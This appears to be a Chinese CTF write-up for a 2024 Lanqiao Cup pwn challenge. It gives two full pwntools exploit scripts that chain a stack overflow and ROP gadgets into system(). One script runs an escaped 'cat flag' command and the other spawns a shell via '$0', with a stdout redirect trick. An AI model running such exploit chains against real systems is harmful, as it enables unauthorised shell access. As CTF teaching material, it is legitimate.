[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向,利用system(‘$0‘)获取shell权限)

查看保护

查看ida

这里有一次栈溢出,并且题目给了我们system函数。

这里的知识点没有那么复杂

方法一(命令转义):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

#补充点1:在第一种方法里,这里的\\是转义符,它所占的字节数并不是2个

复制代码
payload=b"cat flag 1>&2"
复制代码
payload=b"c\at flag 1>&2"
复制代码
payload=b"c\\at flag 1>&2"

所以在这里\\只占一个字节的位置,刚好达到输入上限

方法二(利用system('$0')):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"$0\x00"
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

获得权限之后再输入exec 1>&2进行重定向就可以正常拿flag了

相关推荐
q***96582 分钟前
MySql-9.1.0安装详细教程(保姆级)
数据库·mysql
2501_941111403 分钟前
使用Scrapy框架构建分布式爬虫
jvm·数据库·python
倔强的石头_11 分钟前
电科金仓在医院怎么用?从迁移到跑稳,聊点实在的
数据库
i***683237 分钟前
PostgreSQL 中进行数据导入和导出
大数据·数据库·postgresql
z***75151 小时前
【SQL技术】不同数据库引擎 SQL 优化方案剖析
数据库·sql
麦兜*1 小时前
Redis内存消耗异常飙升?深入排查与Big Key/Hot Key的根治方案
jvm·数据库·spring boot·redis·spring·缓存
Andya_net1 小时前
网络安全 | 深入理解SQL注入的原理和防范
sql·安全·web安全
成为你的宁宁1 小时前
【Redis 从入门到实战:详细讲解 Redis 安装配置、RDB/AOF 数据持久化方案、一主两从同步部署,深入剖析哨兵模式工作原理与哨兵模式高可用全攻略】
数据库·redis·缓存
云和数据.ChenGuang1 小时前
r=re.search(r‘data-original=“(.*?)“‘, line)指令解析
数据库·mysql·r语言
Whoami!2 小时前
⸢ 拾陆-Ⅱ⸥⤳ 安全数智化建设:安全大数据平台
网络安全·信息安全·安全大数据